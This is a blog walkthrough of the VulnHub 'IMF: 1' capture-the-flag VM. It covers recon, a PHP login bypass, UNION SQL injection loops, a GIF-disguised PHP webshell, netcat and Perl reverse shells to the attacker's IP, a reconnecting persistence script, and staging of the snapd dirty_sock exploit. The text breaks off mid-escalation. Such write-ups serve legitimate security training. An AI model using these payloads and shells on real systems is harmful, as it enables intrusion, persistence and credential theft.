seekorswim My Security Blog

IMF: 1

VulnHub URL: https://www.vulnhub.com/entry/imf-1,162/
Hostname: imf
IP Address: 10.183.0.188


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.188.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/imf# nmap -Pn -sT -sV -sC -A -oA imf -p 1-65535 10.183.0.188
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-02 16:13 EDT
Nmap scan report for imf.homenet.dom (10.183.0.188)
Host is up (0.0014s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.39 ms imf.homenet.dom (10.183.0.188)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.36 seconds


Gaining Access


With only one port open, we don't have to worry about where to start. 😄 Before browsing to the default site, though, let's run nikto to see if we can get any more information than nmap returned.

root@kali:~/Walkthroughs/imf# nikto -h http://10.183.0.188
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.188
+ Target Hostname:    10.183.0.188
+ Target Port:        80
+ Start Time:         2019-05-02 16:17:20 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2019-05-02 16:18:24 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Surprisingly, nikto didn't return much of anything (that we didn't already know). Manually checking for a robots.txt file also came up empty. Time to fire up dirb to see if there is anything on this service we can dig into.

root@kali:~/Walkthroughs/imf# dirb http://10.183.0.188 /usr/share/dirb/wordlists/big.txt -o dirb-http-10.183.0.188.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb-http-10.183.0.188.txt
START_TIME: Thu May  2 16:18:51 2019
URL_BASE: http://10.183.0.188/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.183.0.188/ ----
==> DIRECTORY: http://10.183.0.188/css/
==> DIRECTORY: http://10.183.0.188/fonts/
==> DIRECTORY: http://10.183.0.188/images/
==> DIRECTORY: http://10.183.0.188/js/
+ http://10.183.0.188/server-status (CODE:403|SIZE:300)

---- Entering directory: http://10.183.0.188/css/ ----

---- Entering directory: http://10.183.0.188/fonts/ ----

---- Entering directory: http://10.183.0.188/images/ ----

---- Entering directory: http://10.183.0.188/js/ ----
==> DIRECTORY: http://10.183.0.188/js/vendor/

---- Entering directory: http://10.183.0.188/js/vendor/ ----

-----------------
END_TIME: Thu May  2 16:20:54 2019
DOWNLOADED: 122748 - FOUND: 1

Well, looks like we got a (very) little bit more. Time to go ahead and download the site and start digging through it manually.

root@kali:~/Walkthroughs/imf# wget -m http://10.183.0.188

Digging through the downloaded site, we find our first flag in a comment in the contact.php page.

    <section id="service">
        <div class="container">
            <!-- flag1{YWxsdGhlZmlsZXM=} -->
            <div class="service-wrapper">  
                <div class="row">

The Base64 string in the flag decodes to 'allthefiles'. The write up for this VM on VulnHub states that each flag is supposed to lead you to the next flag. This first flag is contained in the section of employee names, so I'm guessing the next flag has to do with one or all of the employees.

The contact.php page displays a form to submit as well as a list of three employees.


From this we can see the format of email addresses the company uses (first initial + last name), which might be helpful if we have to brute force some additional usernames/email addresses. Also, the last employee listed has a font awesome icon 'fa-file-text'. Not sure if that plays into our 'allthefiles' hint?

I'll go ahead and visit the contact.php page and submit the form to see what happens... nothing at all. There doesn't seem to be any validation in the user input or any messages returned. Moving on...

The projects.php page contains lots of fun names in all caps...

  • ANGRYCHASER
  • ROUTECHEF
  • BIZARREMASTER
  • PLOWPLOW
  • SILENTARK
  • ODDSOUFFLE
  • SPORKSQUIRREL

Digging further into the downloaded site, we have several JS files with what appear to be random names. Having seen, though, that the flags are going to be Base64 encoded, it might be that the JS file names are encoded. Let's try to decode each file name.

  • eVlYUnZjZz09fQ==.min.js - decodes to yYXRvcg==} (this looks like a partial flag)
  • XUnRhVzVwYzNS.js - decodes to ]I\ (ASCII) (this looks like... junk?)
  • ZmxhZzJ7YVcxbVl.js - decodes to flag2{aW1mY (this looks like a partial flag)

Interesting. This looks like we are getting close, but that middle file doesn't seem quite right. Let's see what we get if we combine all the file names and do one decode.

root@kali:~/Walkthroughs/imf# echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}

That's better. We've got our second flag. Now, if we decode the Base64 string inside the flag, we get the string 'imfadministrator'. Let's see if that is a new URL for our site.

http://10.183.0.188/imfadministrator/



Nice! We have a login form now.

Checking the login page source code, we see the following comment.



Sounds like we are going to have to brute force the password instead of trying SQL injection. At least they let us know that up front so we didn't waste a bunch of time.

We have a few usernames we can try (thanks to the contact page). We'll use hydra to try to brute force a login. Before doing that though, we tested the login form (using test:test) and found that it comes back with a pretty specific error.



Let's see if we can try our usernames from the contact page and get a different error message.

Trying akeith and estone resulted in the same 'Invalid username' error. However, trying rmichaels returned an 'Invalid password' error.



Now that we have zeroed in on a valid username, we can start our brute force password attack. I started with a list of words from the projects.php page (just hoping for the best). Unfortunately, none worked. I also tried some other large dictionaries, but still got nothing. Based on Roger's comment in the page, I started to doubt if I'd ever be able to brute force the 'mad secure' password. So I started to look for alternatives.

The solution here is pretty crazy, actually. After doing some digging/Googling, it appears that you can change the 'pass' parameter name to an array (with no value) and PHP will just accept that as valid (I guess, 'defined').

To be able to do this little trick, I fired up Burp Suite and intercepted my login request.



Changing the 'pass' field to pass[] and forwarding on the request resulted in the following response.



Crazy!

Pulling the string out of our flag3{Y29udGludWVUT2Ntcw==} flag and decoding it, we get the string 'continueTOcms'... so we'll follow the link to http://10.183.0.188/imfadministrator/cms.php?pagename=home



As soon as we see this page, we jump on the 'Upload Report' link (thinking we are moments away from uploading a reverse shell), but we are greeted with the following.



😞 However, we notice the link is passing a parameter to load a specific page.

http://10.183.0.188/imfadministrator/cms.php?pagename=upload

Let's see if we can manipulate the parameter to load random files on the system.

http://10.183.0.188/imfadministrator/cms.php?pagename=../../../../../../etc/passwd

Nope! Let's see if the upload 'page' is something being loaded from within the same directory.

Trying http://10.183.0.188/imfadministrator/upload.html...
Trying http://10.183.0.188/imfadministrator/upload.php...

Nope! and Nope!

Let's see if the upload parameter might be vulnerable to SQL injection (despite the comment from earlier about not being able to get the database working). We'll try to add a single quote to the parameter to see if things break.

Trying http://10.183.0.188/imfadministrator/cms.php?pagename=upload%27...



OK. Might be getting somewhere with this. After trying lots of things, I was finally able to start getting queries to work using the following format for the pagename query string parameter

pagename=1' union select (QUERY) order by '1

For example, I was able to retrieve the database version using the URL http://10.183.0.188/imfadministrator/cms.php?pagename=1%27%20union%20select%20(select%20@@version)%20order%20by%20%271



This worked fine for executing built-in commands, but when I tried to start pulling schema data, I started running into an error due to my subqueries returning null. Digging more into SQL syntax (and with some help from sqlmap), I was able to improve my query by wrapping my column names with the 'ifnull' and 'cast' functions.

pagename=1' union all select concat_ws(0x2E, 0x23, ifnull(cast(%column_name% as char),0x20), 0x23) from %schema.table% limit 1 offset %num%#

NOTE: I put percent signs (%) around fields we will change based on our query.
NOTE: I'm using concat_ws (concat with separator) to combine my columns into one string. The first parameter is the separator (0x2E = '.'). I'm also placing a '#' sign (0x23) at the start and end of my list of columns. This will result in a value like %.col1.col2.col3.%, which should make it easier to parse out of the page using grep.

The ifnull statement will return the second parameter (in my case, a space) if the first parameter comes back as null. We are also ensuring all values get returned as text.

Another key to getting things working properly was to URL encode the query so the 'hash' character at the end of the query string isn't viewed as an anchor in the page, but is actually passed along to the backend (as a comment character). When doing SQL injection into a form, you don't have to worry about this... but doing SQL injection through a query string, you really need to URL encode it.

Now that I've got a working query, I can download all the database schema information (databases, tables, columns... excluding system databases) using the following query...

pagename=1' union all select concat_ws(0x2E, 0x23, ifnull(cast(table_schema as char),0x20), ifnull(cast(table_name as char),0x20), ifnull(cast(column_name as char),0x20), 0x23) from information_schema.columns where table_schema != 'performance_schema' and table_schema != 'information_schema' and table_schema != 'sys' and table_schema != 'mysql' limit 1 offset 0#

NOTE: I put the fields from earlier that were marked with percent sings in green.

Set in a loop (and URL encoded)...

for num in $(seq 0 500); do wget -q -O ${num}.html --header="Cookie: PHPSESSID=cg3jnchk94fv0qjn8ca8ttv4t2" "http://10.183.0.188/imfadministrator/cms.php?pagename=1%27%20union%20all%20select%20concat_ws%280x2E%2C%200x23%2C%20ifnull%28cast%28table_schema%20as%20char%29%2C0x20%29%2C%20ifnull%28cast%28table_name%20as%20char%29%2C0x20%29%2C%20ifnull%28cast%28column_name%20as%20char%29%2C0x20%29%2C%200x23%29%20from%20information_schema.columns%20where%20table_schema%20%21%3D%20%27performance_schema%27%20and%20table_schema%20%21%3D%20%27information_schema%27%20and%20table_schema%20%21%3D%20%27sys%27%20and%20table_schema%20%21%3D%20%27mysql%27%20limit%201%20offset%20${num}%23"; done

Then I can extract the information from the HTML files using grep.

root@kali:~/Walkthroughs/imf/sqli# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2-4 | sort -u
admin.pages.id
admin.pages.pagedata
admin.pages.pagename

We only have one non-system database (admin) with one table (pages) with three columns (id, pagedata, pagename). We'll pull the available pagenames to see if there is a working 'upload' page (or anything else interesting).

Our query...

pagename=1' union all select concat_ws(0x2E, 0x23, ifnull(cast(pagename as char),0x20), 0x23) from admin.pages limit 1 offset 0#

Set in a loop (and URL encoded)...

for num in $(seq 0 500); do wget -q -O ${num}.html --header="Cookie: PHPSESSID=cg3jnchk94fv0qjn8ca8ttv4t2" "http://10.183.0.188/imfadministrator/cms.php?pagename=1%27%20union%20all%20select%20concat_ws%280x2E%2C%200x23%2C%20ifnull%28cast%28pagename%20as%20char%29%2C0x20%29%2C%200x23%29%20from%20admin.pages%20limit%201%20offset%20${num}%23"; done

Then extracting results using grep...

root@kali:~/Walkthroughs/imf/sqli# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2 | sort -u
disavowlist
home
tutorials-incomplete
upload

Looks like there is only one additional page we don't know about. Let's check it out.

http://10.183.0.188/imfadministrator/cms.php?pagename=tutorials-incomplete



Interesting. We have an image with lots of writing on a white board, plus a QR code. We'll download the image and see what's in the QR code (using zbarimg).

root@kali:~/Walkthroughs/imf# wget http://10.183.0.188/imfadministrator/images/whiteboard.jpg
--2019-05-03 10:04:01--  http://10.183.0.188/imfadministrator/images/whiteboard.jpg
Connecting to 10.183.0.188:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 58816 (57K) [image/jpeg]
Saving to: 'whiteboard.jpg'   

whiteboard.jpg                        100%[=======================================================================>]  57.44K  --.-KB/s    in 0s

2019-05-03 10:04:01 (161 MB/s) - 'whiteboard.jpg' saved [58816/58816]
root@kali:~/Walkthroughs/imf# zbarimg whiteboard.jpg
QR-Code:flag4{dXBsb2Fkcjk0Mi5waHA=}
scanned 1 barcode symbols from 1 images in 0.11 seconds

Nice! We found another flag. Let's see what's inside.

root@kali:~/Walkthroughs/imf# echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d
uploadr942.php

Finally! An upload page. 😄

http://10.183.0.188/imfadministrator/uploadr942.php



At this point, we don't know if there are any file restrictions, so we'll just create a PHP reverse shell (using msfvenom) and try to upload it.

root@kali:~/Walkthroughs/imf# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=443 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3026 bytes

Trying to upload the PHP file "as is" resulted in a error (Error: Invalid file type.). I'll rename the file with a .jpg extension and see if that works.



OK. Not going to be easy. Nothing has so far, so I'm not surprised. Let's try base64 encoding our payload and see if that works.

root@kali:~/Walkthroughs/imf# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=443 -e php/base64 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4041 (iteration=0)
php/base64 chosen with final size 4041
Payload size: 4041 bytes



Next, I tried creating a PHP file with a simple PHP cmd processor.

<?php echo system($_GET["cmd"]); ?>

But got this...



Doing some research into WAF bypass techniques (https://securityonline.info/bypwass-waf-upload-shell-webserver/), I decided to try to create an image file with the right "signature", but then have it contain PHP code. As listed on the page linked (and manually confirmed through some hex dump tests I did), here are common image signatures (occurring at the start of the file).

jpg (JFIF): FFD8FFEO00104A464946
gif (GIF89a): 474946383961
png (PNG): 89504E47

I'll create a test GIF using the following commands.

root@kali:~/Walkthroughs/imf# echo "474946383961" | xxd -r -p > test.gif
root@kali:~/Walkthroughs/imf# echo "<?php phpinfo(); ?>" >> test.gif
root@kali:~/Walkthroughs/imf# hexdump -C test.gif
00000000  47 49 46 38 39 61 3c 3f  70 68 70 20 70 68 70 69  |GIF89a<?php phpi|
00000010  6e 66 6f 28 29 3b 20 3f  3e 0a                    |nfo(); ?>.|
0000001a

Trying to upload the file returns a "File successfully uploaded." message, but I'm not able to access it in the /uploads/ folder I detected earlier.

http://10.183.0.188/imfadministrator/uploads/test.gif = Not Found

Checking the HTML returned by a successful upload, I noticed the following comment.



This doesn't look like one of the many base64 encoded strings we've seen. Could it be the new filename of my uploaded file? Trying to go to http://10.183.0.188/imfadministrator/uploads/31361fece66a.gif returned the following.



Nice! My GIF file is getting run as PHP code (not normal, but O.K.). Let's see if we can use the same technique with our simple PHP cmd processor from earlier (with a few tweaks). Since I know the WAF won't allow me to use the system command, I'll try to use backticks to execute a system command.

<?php $cmd=$_GET['cmd']; echo `$cmd`; ?>

I'll recreate my GIF image.

root@kali:~/Walkthroughs/imf# echo "474946383961" | xxd -r -p > test.gif
root@kali:~/Walkthroughs/imf# echo "<?php \$cmd=\$_GET[\"cmd\"]; echo \`\$cmd\`; ?>" >> test.gif
root@kali:~/Walkthroughs/imf# hexdump -C test.gif
00000000  47 49 46 38 39 61 3c 3f  70 68 70 20 24 63 6d 64  |GIF89a<?php $cmd|
00000010  3d 24 5f 47 45 54 5b 22  63 6d 64 22 5d 3b 20 65  |=$_GET["cmd"]; e|
00000020  63 68 6f 20 60 24 63 6d  64 60 3b 20 3f 3e 0a     |cho `$cmd`; ?>.|
0000002f

The upload is successful and checking the comment in the page, my new file id is 20ddebdee890. Let's test it out.

http://10.183.0.188/imfadministrator/uploads/20ddebdee890.gif?cmd=id



😄😄😄 It took us a long time and LOTS of trial and error to get to this point. Time to get our reverse shell!

First, we'll fire up our listeners in Metasploit. I like to start two listeners so I can get the first session connected via the HTTP request (which is often short lived) and the second session started from the victim itself.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

Now we can pass our URL encoded reverse shell command. Here is the command we are encoding.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5432 >/tmp/f

Hitting the following URL, my session is created in Metasploit and I'm able to start my second reverse shell session.

http://10.183.0.188/imfadministrator/uploads/20ddebdee890.gif?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.183.0.222%205432%20%3E%2Ftmp%2Ff

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.188:53798) at 2019-05-03 11:51:58 -0400

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

pwd
/var/www/html/imfadministrator/uploads
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
$ [*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.188:49008) at 2019-05-03 11:52:14 -0400

Checking the uploads directory we dropped into, we've found our fifth flag.

www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}

Decoding the Base64 string in the flag, we get the string 'agentservices'.

Also, checking the .htaccess file in the uploads directory, we see why our GIF file (with only a .gif extension) was able to execute as PHP code.

www-data@imf:/var/www/html/imfadministrator/uploads$ cat .htaccess
AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif

This would be an a-typical set up, obviously. However, some of the same techniques would have worked if the file wasn't automatically getting renamed and we could upload our filename as test.php.gif (and request it as test.php.gif).


Maintaining Access


Since SSH isn't open on the victim, I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/imf# cat 89141121ca4e.jpg
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/imf# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.188 - - [03/May/2019 11:58:52] "GET /89141121ca4e.jpg HTTP/1.1" 200 -

I uploaded the script to the victim's /var/www/html/imfadministrator/uploads directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

www-data@imf:/var/www/html/imfadministrator/uploads$ wget -O 89141121ca4e.jpg 10.183.0.222:4321/89141121ca4e.jpg
--2019-05-03 11:58:52--  http://10.183.0.222:4321/89141121ca4e.jpg
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [image/jpeg]
Saving to: '89141121ca4e.jpg'

     0K                                                       100% 49.1M=0s

2019-05-03 11:58:52 (49.1 MB/s) - '89141121ca4e.jpg' saved [309/309]
www-data@imf:/var/www/html/imfadministrator/uploads$ chmod +x 89141121ca4e.jpg
www-data@imf:/var/www/html/imfadministrator/uploads$ ./89141121ca4e.jpg &
[1] 7036


Privilege Escalation


Dropping back a directory from uploads, we see our cms.php page. We know this page did a database lookup, so it likely contains DB credentials.

www-data@imf:/var/www/html/imfadministrator$ cat cms.php
<?php error_reporting(E_ALL); ini_set('display_errors', 1); session_start(); ?><html>
<head>
<title>IMF CMS</title>
</head>
<body>
<h1>IMF CMS</h1>
<?php
if(isset($_SESSION['admin_logged_on']) && $_SESSION['admin_logged_on'] == 'that is affirmative sir') {
?>
Menu:
<a href='cms.php?pagename=home'>Home</a> |
<a href='cms.php?pagename=upload'>Upload Report</a> |
<a href='cms.php?pagename=disavowlist'>Disavowed list</a> |
Logout
<br /><br/>
<?php
        $db_user = 'admin';
        $db_pass = '3298fj8323j80df!49';
        $db_name = 'admin';
        $link = mysqli_connect('localhost',$db_user,$db_pass,$db_name);

        $pagename = isset($_GET['pagename'])?$_GET['pagename']:'home';
        $pagename = str_replace('--', '', $pagename);

        $query = "SELECT `pagedata` FROM `pages` WHERE `pagename` = '".$pagename."'";
        $result = mysqli_query($link, $query);

        $page = mysqli_fetch_row($result);
        print $page[0];
} else {
        print "Please login <a href='index.php'>Here</a>";
}
?>
</body>
</html>

We already know there isn't much else in the database to mine out, but it's always nice to harvest credentials that might be reused in other places.

Checking index.php, we are able to see that "mad secure" hard coded password Roger mentioned.

www-data@imf:/var/www/html/imfadministrator$ cat index.php
<?php
session_start();
$loggedin=false;
if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') {
        echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
        $loggedin=true;
} elseif (isset($_POST["user"]) && isset($_POST["pass"])) {
    $password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf";
    sleep(3); // do not bruteforce
    if ($_POST["user"]=='rmichaels') {
        if (strcmp($password, $_POST["pass"]) == 0) {
            $_SESSION['admin_logged_on'] = 'that is affirmative sir';
            echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
            $loggedin=true;
        } else {
            echo "Invalid password";
        }
    } else {
        echo "Invalid username.";
    }   
    
}
if($loggedin===false) {
?>
<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>
<?php } ?>

There was no way we were going to crack that with hydra.

Trying to check sudo fails because I don't have a TTY shell.

www-data@imf:/$ sudo -l
sudo: no tty present and no askpass program specified

Typically I'd run the following command to fix that issue, but python isn't available on the victim...

www-data@imf:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
The program 'python' can be found in the following packages:
* python-minimal
* python3
Ask your administrator to install one of them

...or is it? Let's make sure our PATH variable has all the typical locations and then check for python/python2/python3 using which.

www-data@imf:/$ export PATH=$PATH:/home/seekorswim:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@imf:/$ which python
www-data@imf:/$ which python2
www-data@imf:/$ which python3
/usr/bin/python3

Ah, so we have python3 only. That should be fine for getting a TTY shell and trying sudo again.

www-data@imf:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@imf:/$ sudo -l
sudo -l
[sudo] password for www-data: ^C

Well, that was fruitless.

Checking netstat for open ports, we see a few that we can't access externally.

www-data@imf:/$ netstat -lnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

I have a good idea about what 3306 (mysql), 22 (ssh) and 80 (http) are. I'm not sure about the service listening on 7788. That might be interesting. I know that port isn't accessible from the outside, but we should be able to connect to it locally.

www-data@imf:/$ nc 10.183.0.188 7788
  ___ __  __ ___
|_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
|___|_|  |_|_|    System


Agent ID :

Cool. A fancy login. Unfortunately, I'm not sure I have enough information at this point to try to login. Just putting in '1' returned an error "Invalid Agent ID" and disconnected me. I might be able to enumerate the agent IDs through brute force, or I may be able to try to overflow input, but I'll keep digging first.

Using the string from the fifth flag (agentservices) as my guide, I'll see what services are running using systemctl.

www-data@imf:/$ systemctl --type=service
systemctl --type=service
  UNIT                               LOAD      ACTIVE SUB     DESCRIPTION
  accounts-daemon.service            loaded    active running Accounts Service
  acpid.service                      loaded    active running ACPI event daemon
  apache2.service                    loaded    active running LSB: Apache2 web server
  apparmor.service                   loaded    active exited  LSB: AppArmor initialization
  apport.service                     loaded    active exited  LSB: automatic crash report generation
  atd.service                        loaded    active running Deferred execution scheduler
  console-setup.service              loaded    active exited  Set console font and keymap
  cron.service                       loaded    active running Regular background program processing daemon
  dbus.service                       loaded    active running D-Bus System Message Bus
  getty@tty1.service                 loaded    active running Getty on tty1
  grub-common.service                loaded    active exited  LSB: Record successful boot for GRUB
  ifup@eth0.service                  loaded    active exited  ifup for eth0
  irqbalance.service                 loaded    active exited  LSB: daemon to balance interrupts for SMP systems
  iscsid.service                     loaded    active running iSCSI initiator daemon (iscsid)
  keyboard-setup.service             loaded    active exited  Set console keymap
  kmod-static-nodes.service          loaded    active exited  Create list of required static device nodes for the current kernel
  knockd.service                     loaded    active running LSB: port-knock daemon
  lvm2-lvmetad.service               loaded    active running LVM2 metadata daemon
  lvm2-monitor.service               loaded    active exited  Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling
  lxcfs.service                      loaded    active running FUSE filesystem for LXC
  lxd-containers.service             loaded    active exited  LXD - container startup/shutdown
  mdadm.service                      loaded    active running LSB: MD monitoring daemon
  mysql.service                      loaded    active running MySQL Community Server
  netfilter-persistent.service       loaded    active exited  netfilter persistent configuration
  networking.service                 loaded    active exited  Raise network interfaces
  ondemand.service                   loaded    active exited  LSB: Set the CPU Frequency Scaling governor to "ondemand"
  open-iscsi.service                 loaded    active exited  Login to default iSCSI targets
  polkitd.service                    loaded    active running Authenticate and Authorize Users to Run Privileged Tasks
  rc-local.service                   loaded    active exited  /etc/rc.local Compatibility
  resolvconf.service                 loaded    active exited  Nameserver information manager
  rsyslog.service                    loaded    active running System Logging Service
  setvtrgb.service                   loaded    active exited  Set console scheme
* snapd.firstboot.service            not-found active exited  snapd.firstboot.service
  snapd.seeded.service               loaded    active exited  Wait until snapd is fully seeded
  ssh.service                        loaded    active running OpenBSD Secure Shell server
  systemd-journal-flush.service      loaded    active exited  Flush Journal to Persistent Storage
  systemd-journald.service           loaded    active running Journal Service
  systemd-logind.service             loaded    active running Login Service
  systemd-modules-load.service       loaded    active exited  Load Kernel Modules
  systemd-random-seed.service        loaded    active exited  Load/Save Random Seed
  systemd-remount-fs.service         loaded    active exited  Remount Root and Kernel File Systems
  systemd-timesyncd.service          loaded    active running Network Time Synchronization
  systemd-tmpfiles-setup-dev.service loaded    active exited  Create Static Device Nodes in /dev
  systemd-tmpfiles-setup.service     loaded    active exited  Create Volatile Files and Directories
  systemd-udev-trigger.service       loaded    active exited  udev Coldplug all Devices
  systemd-udevd.service              loaded    active running udev Kernel Device Manager
  systemd-update-utmp.service        loaded    active exited  Update UTMP about System Boot/Shutdown
  systemd-user-sessions.service      loaded    active exited  Permit User Sessions
  ufw.service                        loaded    active exited  Uncomplicated firewall
  unattended-upgrades.service        loaded    active exited  Unattended Upgrades Shutdown
  xinetd.service                     loaded    active running LSB: Starts or stops the xinetd daemon.

LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.

51 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

One service that stands out as uncommon (and has a * out next to it) is snapd. Checking the version number for snapd, we get the following.

www-data@imf:/$ snap --version
snap    2.37.4ubuntu0.1
snapd   2.37.4ubuntu0.1
series  16
ubuntu  16.04
kernel  4.4.0-45-generic

Checking the exploit database, we actually have some privilege escalation vulnerabilities with this version.

snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)                                          | exploits/linux/local/46361.py
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)                                          | exploits/linux/local/46362.py

Both exploits are written in python, so I'm hoping python3 will do. I'll copy exploit 2 (which requires less set up) to my working directory and serve it up to the victim via python's SimpleHTTPServer.

root@kali:~/Walkthroughs/imf# cp /usr/share/exploitdb/exploits/linux/local/46362.py .
root@kali:~/Walkthroughs/imf# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.188 - - [04/May/2019 09:41:25] "GET /46362.py HTTP/1.1" 200 -

Then, on the victim...

